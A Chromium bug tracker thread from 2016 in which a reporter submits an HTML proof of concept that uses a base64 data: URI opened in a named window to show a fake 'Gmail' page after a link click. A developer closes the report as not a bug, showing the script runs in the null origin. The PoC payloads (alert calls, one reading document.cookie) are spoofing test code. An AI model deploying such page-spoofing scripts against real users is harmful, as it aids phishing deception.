Issue metadata
Sign in to add a comment
|
Security:chrome URL And Javascript Prompt Origin Spoof
Reported by
nani528g...@gmail.com,
Apr 1 2016
|
||||||||||||||||||||
Issue description
Hi
chrome URL And Javascript Prompt Origin Spoof will possible by using data uris
here is the poc html file
<a href="https://www.gmail.com:443." target="aa" onclick="setTimeout('fake()',100)"><h1>click me</h1></a>
<script>
function fake() {
var t = window.open('data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=','aa');
t.document.body.innerHTML = '<title>Gmail</title><H1>Fake Page!!!--hack by xisigr</H1>';
}
</script>
if any user clicks the link we can execute javascript thourgh uris
just open poc in google chorme when u click you can able to execute xx
,
Apr 4 2016
It is working as intended for data: URIs to be able to contain JavaScript code. (Whether or not supporting top-level navigation to data: URIs is working as intended is, I understand, a point of debate. +mkwst for that.)
If you change the code to alert(document.domain), you can see that the code runs in the null origin, and that attempting to access document.cookie results in a security exception (look in the JavaScript console).
<a href="https://www.gmail.com:443." target="aa" onclick="setTimeout('fake()',100)"><h1>click me</h1></a>
<script>
function fake() {
//var t = window.open('data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=','aa');
// document.domain:
//var t = window.open('data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg==','aa');
// document.cookie:
var t = window.open('data:text/html;base64,PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==','aa');
t.document.body.innerHTML = '<title>Gmail</title><H1>Fake Page!!!--hack by xisigr</H1>';
}
</script>
So, I don't see a bug here.
,
Jul 12 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 1 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 2 2016
This bug has been closed for more than 14 weeks. Removing security view restrictions. For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
,
Oct 2 2016
,
Dec 9 2016
Security>UX component is deprecated in favor of the Team-Security-UX label |
|||||||||||||||||||||
►
Sign in to add a comment |
|||||||||||||||||||||
Comment 1 by penny...@chromium.org
, Apr 3 2016Components: Security>UX